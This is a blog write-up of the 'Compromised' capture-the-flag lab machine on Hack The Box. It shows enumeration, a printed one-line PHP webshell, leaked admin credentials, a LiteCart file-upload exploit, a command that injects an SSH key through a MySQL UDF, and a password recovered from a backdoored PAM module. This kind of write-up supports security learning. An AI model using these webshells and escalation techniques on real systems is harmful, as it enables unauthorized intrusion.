Hack The Box Writeup: Compromised (

This box really was compromised. Using some forensic skills you had to exploit the box using things the attacks left behind. In the end, there was some reverse engineering before the root flag could be grabbed. Truly a fun box to root.

[0x1] Reconnaissance & Enumeration

The first step in attacking this box is a Nmap scan. There is not much that is being given away, only OpenSSH on port 22 and a webserver on port 80. According to the header of the webserver, it serves as a webshop for Rubber Ducks.

nmap -sC -sV -p- -oA compromised-allports

Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-24 12:54 EST
Nmap scan report for
Host is up (0.016s latency).
Not shown: 65533 filtered ports
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:da:5c:8e:8e:fb:8e:75:27:4a:b9:2a:59:cd:4b:cb (RSA)
| 256 d5:c5:b3:0d:c8:b6:69:e4:fb:13:a3:81:4a:15:16:d2 (ECDSA)
|_ 256 35:6a:ee:af:dc:f8:5e:67:0d:bb:f3:ab:18:64:47:90 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Given the fact that there is a webserver running, it is always a good plan to search for any interesting files and folders using gobuster enumeration. There is an interesting folder that appeared in the results called backup.

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,php
[+] Timeout: 10s
2020/11/24 13:01:47 Starting gobuster
/index.php (Status: 302)
/shop (Status: 301)
/backup (Status: 301)
/server-status (Status: 403)

It looks like we got the jackpot. Finding a backup file is always a good place to look for clues.

[0x2] Initial Foothold

I download the archive to my local machine and extract the files from the archive.

curl -o a.tar.gz  

tar -vxf a.tar.gz

While looking through the file, I found a hidden file called .sh.php.

ls -la
total 81
drwxrwx--- 1 root vboxsf 4096 May 28 02:05 .
drwxrwx--- 1 root vboxsf 0 Nov 24 13:12 ..
drwxrwx--- 1 root vboxsf 8192 Nov 24 13:11 admin
drwxrwx--- 1 root vboxsf 12288 May 28 00:52 cache
drwxrwx--- 1 root vboxsf 4096 May 28 00:39 data
drwxrwx--- 1 root vboxsf 4096 Nov 24 13:11 ext
-rwxrwx--- 1 root vboxsf 15086 May 28 00:39 favicon.ico
-rwxrwx--- 1 root vboxsf 2854 May 28 00:39 .htaccess
drwxrwx--- 1 root vboxsf 4096 May 28 00:39 images
drwxrwx--- 1 root vboxsf 4096 Nov 24 13:11 includes
-rwxrwx--- 1 root vboxsf 2508 May 14 2018 index.php
drwxrwx--- 1 root vboxsf 4096 May 28 00:39 logs
drwxrwx--- 1 root vboxsf 8192 Nov 24 13:11 pages
-rwxrwx--- 1 root vboxsf 71 May 28 00:39 robots.txt
-rwxrwx--- 1 root vboxsf 35 May 28 02:05 .sh.php
drwxrwx--- 1 root vboxsf 4096 May 29 01:00 vqmod

The file contains a PHP-webshell, which looks like the previous attackers left behind when they compromised the server. Maybe this is a hint towards the way the box can be exploited.

cat .sh.php
<?php system($_REQUEST['cmd']); ?>

While looking through the error log in the archive, I noticed a line that hints towards the login.php page in the admin folder. This is worth the investigation.

└─$ cat errors.log

[28-May-2020 01:48:07 America/New_York] Notice: Undefined index: password in ~/admin/login.php on line 28 
Request: GET /shop/admin/login.php HTTP/1.1
Client: (kali-pentest.fios-router.home)
User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Let’s check that login-file to see if there is something interesting in it. The first thing that caught my eye was the fact that there is output written to a logfile on the webserver.

cat login.php
  document::$template = settings::get('store_template_admin');
  document::$layout = 'login';
  if (isset($_POST['login'])) {
    //file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);
    user::login($_POST['username'], $_POST['password'], $redirect_url, isset($_POST['remember_me']) ? $_POST['remember_me'] : false);

  if (empty($_POST['username']) && !empty($_SERVER['PHP_AUTH_USER'])) $_POST['username'] = !empty($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : ''; 

A quick check on the box on, shows that the file is still present in the live environment and includes a nice set of credentials: User: admin, Password: theNextGenSt0r3!~

Since I know the website runs a Rubber Ducky shop based on Litecart, I check to see if there are known vulnerabilities I can exploit with the credentials I just found. According to SearchSploit there is a known vulnerability that allows Arbitrary File Upload.

searchsploit litecart
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- 
 Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- 
LiteCart 2.1.2 - Arbitrary File Upload | php/webapps/45267.py
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

The Python script did not work for me, and also needed some conversion to Python 3. After reading what the vulnerability is, I noticed that it is a lot easier to exploit this manually with Burp Suite.

The first step is to login to the admin panel, and open the vQmods app.

Here you can select the payload you want to upload. I started with some different web shells, but after the machine was breached, the admins blocked the use of functions like execute, exec, fopen and more. So it took some time to solve this issue. More about that later. Just select the webshell and capture the upload with Burp.

The Arbitrary File Upload vulnerability is not complex, the only thing you need to do is alter the content-type of the upload.

Since the application only accepts XML, I need to change application/x-php to application/xml. After forwarding the altered request, the webshell is uploaded successfully.

So a quick flashback to the webshell issues. Since a lot of functions are disabled by the admins, I needed a different way to run commands on the machine. The uploading is not an issue, but the restriction is. I found a way to go past this since the used version of PHP (7.2) has a known Bypass vulnerability named: PHP 7.0-7.3 disable_functions bypass, for which a PoC script can be found on the authors GitHub. The script contains a pwn(uname -a”); command by default, but I changed it to pwn($_REQUEST[‘cmd’]);, so I can give it parameter commands.

Since I now can execute commands, I looked around at the box for a while. I found a file called config.inc.php which showed some MySQL credentials for the root user.

  define('DB_TYPE', 'mysql');
  define('DB_SERVER', 'localhost');
  define('DB_USERNAME', 'root');
  define('DB_PASSWORD', 'changethis');
  define('DB_DATABASE', 'ecom');
  define('DB_TABLE_PREFIX', 'lc_');
  define('DB_CONNECTION_CHARSET', 'utf8');
  define('DB_PERSISTENT_CONNECTIONS', 'false');

The tables in the database did not contain anything interesting. The User Defined Functions within MySQL did. To see which functions are there, I ran the following command using the uploaded webshell.


When the query runs successfully, the User Defined Functions are listed. In this case, there is one UDF called: exec_cmd. You can guess what this function can do. Indeed, run commands as the MySQL user.

HTTP/1.1 200 OK
Date: Sat, 28 Nov 2020 16:08:13 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 49
Connection: close
Content-Type: text/html; charset=UTF-8 

name ret dl type
exec_cmd 0 libmysql.so function

After finding the UDF, I uploaded my public key file to the server and injected the key into the authorized keys file of MySQL. Why? Since i noticed during my enumeration that the user mysql has permissions for bin/bash (mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash).

mysql+-u+root+-pchangethis+-e+"SELECT+exec_cmd('cat /var/www/html/shop/vqmod/xml/id_rsa.pub+>/var/lib/mysql/.ssh/authorized_keys');"

The only thing that needs to be done now, is to see if I can logon as the user mysql using SSH with my private key. And what do you know, it works!

ssh -i ~/.ssh/id_rsa mysql@
Last login: Thu Sep 3 11:52:44 2020 from 
mysql@compromised:~$ whoami;id;hostname
uid=111(mysql) gid=113(mysql) groups=113(mysql) 

[0x3] Path to User flag

Since I now have a working shell for mysql, I started to poke around. Keep in mind that a compromised machine always has traces of the attackers present. One of those traces appeared to be in a file called strace-log.dat. When searching for passwords, I found a password called 3*NLJE32I$Fe. Since the user flag is not present in the home location for MySQL and the /home directory shows a user called SySAdmin i decided to try the password for this user.

mysql@compromised:~$ cat strace-log.dat |grep pass
22225 03:11:00 openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 4
22102 03:11:06 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0 
22227 03:11:09 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:10 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22228 03:11:15 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changeme"], 0x55bc62467900 /* 21 vars */) = 0

Using the new found password, I can change the user to sysadmin and login successfully.

mysql@compromised:~$ su -l sysadmin 
Password: 3*NLJE32I$Fe

Finally, I found the User flag. First half of this box is done.

sysadmin@compromised:~$ ls

sysadmin@compromised:~$ cat user.txt 

[0x4] Path to Root flag

Finding the next step for root wasn’t easy. I got a hint from someone to search for files that the attacker may be altered in his quest. So I formed a find oneliner so search for files altered after the breach.

sysadmin@compromised:$ find / -type f -newermt "2020-05-28" ! -newermt "2020-10-10" 2>/dev/null 

The result was a long list of files. During an analysis of the results, there was something that caught my eye. There were two files with the same name, but one was hidden. After some searching around on the internet, I learned that the pam_unix.so (Pluggable Authentication Module) is part of the authorization chain. So the attackers might have adjusted this file and left some clues or even a backdoor.


Using SCP, I transferred the file to my local machine for analysis. I found some information on the internet about attackers altering the pam_unix.c source file and recompile a new pam_unix.so. After the attacker gets access to the machine, he or she simply replaces the file and creates a nice backdoor.

scp sysadmin@ /media/sf_Security/hackTheBox/boxes/compromised

The information I found showed that the adjustments can be found by opening the file in a disassembler. I used Ghidra for this and reverse-engineered the function where the backdoor was found. The backdoor contains two hex-strings which would be the logical place to store the password.

backdoor._0_8_ = 0x4533557e656b6c7a;
backdoor._8_7_ = 0x2d326d3238766e;

Give the fact that I do not ad any previous experience with Ghidra, it took me some experimenting. Using the context menu I was able to change the way the data was shown. When I change it, I could now see something that would resemble a password. But, it consisted of two strings. My first guess was that the password was E3U~eklz\0-2m28vn. My guess was wrong. The password did not work. Someone advised me to learn what Endianness is. After some reading, I noticed that when it’s run in an i386 architecture, you need to read the string backward and strip the \0 at the end. So the password that did the trick was: zlke~U3Env82m2-

Armed with this password, I tried to elevate my shell to root. This worked like a charm and that gave me the long-awaited access I wanted.

sysadmin@compromised:~$ su -l root
root@compromised:~# whoami;id;hostname
uid=0(root) gid=0(root) groups=0(root)

And with that, the root key is grabbed and my first Hard box officially rooted!

root@compromised:~# ls -la
total 40
drwx------  5 root root 4096 Sep  9 10:33 .
drwxr-xr-x 24 root root 4096 Sep  9 12:02 ..
lrwxrwxrwx  1 root root    9 May 13  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3139 May 13  2020 .bashrc
drwx------  2 root root 4096 May 13  2020 .cache
drwx------  3 root root 4096 May 13  2020 .gnupg
drwxr-xr-x  3 root root 4096 May 13  2020 .local
-rw-------  1 root root    0 Aug 30 21:44 .mysql_history
-rw-r--r--  1 root root  148 May 13  2020 .profile
-r--------  1 root root   33 Nov 28 14:54 root.txt
-rw-------  1 root root 1447 Sep  9 10:33 .viminfo
-rw-r--r--  1 root root  291 May 27  2020 .wget-hsts

root@compromised:~# cat root.txt

All information in this post is for educational use only! Do not use it at others when you do not have explicit approval to do so. I am not responsible for your actions. Using this knowledge for illegal activities could land you in jail!



Ethical Hacker | Cybersecurity enthusiast | Always looking to expand my knowledge | got root?

Related Articles

Leave a Reply

Your email address will not be published. Required fields are marked *

Back to top button
%d bloggers like this: